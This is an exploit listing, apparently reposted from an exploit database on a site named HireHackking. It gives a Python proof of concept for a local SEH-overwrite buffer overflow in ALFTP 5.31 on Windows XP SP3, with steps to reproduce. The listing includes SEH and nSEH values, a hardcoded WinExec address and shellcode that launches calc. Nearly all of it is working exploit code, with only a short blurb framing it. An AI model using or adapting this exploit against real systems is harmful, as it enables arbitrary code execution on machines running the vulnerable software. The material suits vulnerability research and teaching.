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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: ALFTP 5.31 - Local Buffer Overflow (SEH Bypass)        
# Exploit Author: Gokul Babu                  
# Vendor Homepage: http://www.altools.com/downloads/alftp.aspx                    
# Vulnerable Software: http://advert.estsoft.com/?event=201001127730323               
# Tested on: Windows XP Professional SP3 -Version-2002                    
# Steps to reproduce-1: (eip overwrite-88-windows-XP)
# Paste the contents of alftp.txt in 'options->Preference->Security->New password &Confirm password' 

#seh- 0041A6EF "\xEF\xA6\x41"
#address to jump 0012FA7A
#nseh- "\xEB\xAC\x90\x90"
#winexec address 0x7c862aed

#!/usr/bin/python

shellcode=("\x33\xC0"
"\x50"
"\x68\x63\x61\x6C\x63"
"\x8B\xC4"
"\x50"
"\xE8\x61\x30\x73\x7C")

buf="\x90"*4 + shellcode + "\x90"*(80-len(shellcode)) + "\xEB\xAC\x90\x90" + "\xEF\xA6\x41"

f=open("alftp.txt","w")
f.write(buf)
f.close()